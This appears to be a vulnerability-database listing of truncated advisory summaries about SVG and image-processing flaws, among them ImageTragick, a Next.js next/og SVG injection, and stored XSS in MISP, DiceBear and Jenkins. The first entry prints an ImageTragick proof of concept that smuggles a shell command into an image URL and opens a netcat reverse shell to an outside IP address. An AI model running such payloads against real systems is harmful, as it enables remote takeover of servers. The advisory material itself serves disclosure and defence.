ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2023-43838

CVE-2023-43838 Personal Management System v1.4.64의 임의 파일 업로드 취약점으로 인해 공격자가 조작된 SVG 파일을 사용자 프로필의 아바타에 업로드하여 임의 코드를 실행할 수 있습니다. 추가 정보 1. 다음 내용으로 alert.svg를 생성합니다: alert"huntr.dev"; 2. .SVG 파일을 웹 서버에 호스팅합니다. 3. .SVG 파일을 아바타 이미지로 업로드합니다. 4. 사용자가 아바타를 별도의 탭에서 열면 .SVG 파일에 저장된 JavaScript가 실행됩니다. 참고:...

Next.js Framework 16.2.x / 16.3.x < 16.3.6 RCE

The Next.js Framework on the remote host is affected by a remote code execution vulnerability: - The Node.js ImageResponse implementation from next/og is affected by an upstream Satori vulnerability. Satori does not properly escape certain values before including them in generated SVG output, whi...

CVE-2026-94545-nextjs-og-poc

CVE-2026-94545 - Next.js next/og ImageResponse SVG 인젝션 GHSA-vcvr-r3jv-pc5j CVE-2026-94545 , 즉 Next.js ImageResponse SVG 직렬화 인젝션업스트림: Satori GHSA-wx4j-mvgx-mqwp을 격리된 루프백 전용 랩에서 재현하고 검증하기 위한 보안 연구 자료입니다. 영향 받는 버전: Next.js =16.2.0 공격자가 임베드된 SVG 문서를 제어; 권고문에 따른 RCE는 다운스트림 SVG 파서에 의존 업스트림: vercel/sato...

CVE-2026-94545

CVE-2026-94545 Next.js next/og 인증되지 않은 RCE ★ CVE-2026-94545 Next.js next/og SVG 주입을 통한 네이티브 RCE ★ https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160 개요 next/og는 JSX를 Satori로 SVG로 렌더링한 다음 그 SVG를 래스터화하여 Open Graph 이미지를 생성합니다. Satori는 사용자가 제공한 텍스트를 이스케이프하지 않고 SVG에...

Exploit for CVE-2026-94545

CVE-2026-94545 - Next.js next/og ImageResponse SVG Injection...

CVE-2026-86062

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, lightragwebui/src/components/retrieval/ChatMessage.tsx renders answer and thinking content with react-markdown, rehypeRaw, and skipHtml=false without an HTML sanitizer. An attacker who can add a document can store r...

PT-2026-97045

Name of the Vulnerable Software and Affected Versions Next.js versions 16.2.0 through 16.3.5 Description A flaw in the Node.js implementation of the ImageResponse component within the next/og package occurs due to improper encoding or escaping of output data. This issue arises when...

CVE-2026-59814: Improper Neutralization of Input During Web Page Generation

Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.7, Joplin Server's GET /shares/:id?resourceid= route serves a resource with the attacker-controlled mime value and omits Content-Disposition when the resource title is empty. A...

CVE-2026-90957 MISP: Stored XSS via Inline-Served SVG Organisation Logos and Report Pictures

Affected versions of MISP serve uploaded SVG images inline without a restrictive browser sandbox. The commit explains that SVG files are XML documents rather than passive bitmap images. While scripts inside SVG do not execute when the SVG is rendered through a normal , they can execute when the S...

CVE-2026-90957

MISP versions ≤2.5.45 are affected by a stored XSS vulnerability in the serve path for uploaded SVG images , which are delivered inline without a restrictive browser sandbox. Because SVGs are XML documents rather than passive bitmaps, embedded [removed] elements, event handlers, or javascript: UR...

CVE-2026-90957 MISP: Stored XSS via Inline-Served SVG Organisation Logos and Report Pictures

Affected versions of MISP serve uploaded SVG images inline without a restrictive browser sandbox. The commit explains that SVG files are XML documents rather than passive bitmap images. While scripts inside SVG do not execute when the SVG is rendered through a normal , they can execute when the S...

Astra Linux – Vulnerability in Sogo

There is a cross-site scripting XSS vulnerability in Alinto SOGo, version 5.12.7. A maliciously crafted ICS calendar invitation file allows arbitrary JavaScript execution within the authenticated SOGo webmail session. The issue arises because the SVG content embedded in the description field of a...

PT-2026-91217

Affected versions of MISP serve uploaded SVG images inline without a restrictive browser sandbox. The commit explains that SVG files are XML documents rather than passive bitmap images. While scripts inside SVG do not execute when the SVG is rendered through a normal , they can execute when the S...

PT-2026-85509

OpenPanel before 2.3.0 contains a cross-site scripting vulnerability in the unauthenticated favicon proxy endpoint GET /misc/favicon that allows remote attackers to execute scripts by supplying an SVG file URL. Attackers can host malicious SVG files with embedded scripts that execute in the...

GHSA-GCR2-9V8M-GQ45 DiceBear: SVG injection via the unescaped rotate option in @dicebear/core (and fontSize/fontWeight in @dicebear/initials)

Summary @dicebear/core builds avatar SVGs from caller-supplied options. The numeric rotate option is interpolated into an SVG transform attribute without XML-escaping. It is typed as a number, but nothing checks the type at runtime, so a string value passes straight through and can break out of t...

EUVD-2026-63657

DiceBear: SVG injection via the unescaped rotate option in @dicebear/core and fontSize/fontWeight in @dicebear/initials...

DiceBear: SVG injection via the unescaped rotate option in @dicebear/core (and fontSize/fontWeight in @dicebear/initials)

Summary @dicebear/core builds avatar SVGs from caller-supplied options. The numeric rotate option is interpolated into an SVG transform attribute without XML-escaping. It is typed as a number, but nothing checks the type at runtime, so a string value passes straight through and can break out of t...

CVE-2026-84673

Jenkins Customizable Header Plugin 295.v2544bca19b97 and earlier allows overwriting the plugin's appearance configuration through Stapler data binding, allowing attackers to configure a custom SVG icon containing inline JavaScript, resulting in a stored cross-site scripting XSS vulnerability...

EUVD-2026-70146

Jenkins Customizable Header Plugin 295.v2544bca19b97 and earlier allows overwriting the plugin's appearance configuration through Stapler data binding, allowing attackers to configure a custom SVG icon containing inline JavaScript, resulting in a stored cross-site scripting XSS vulnerability...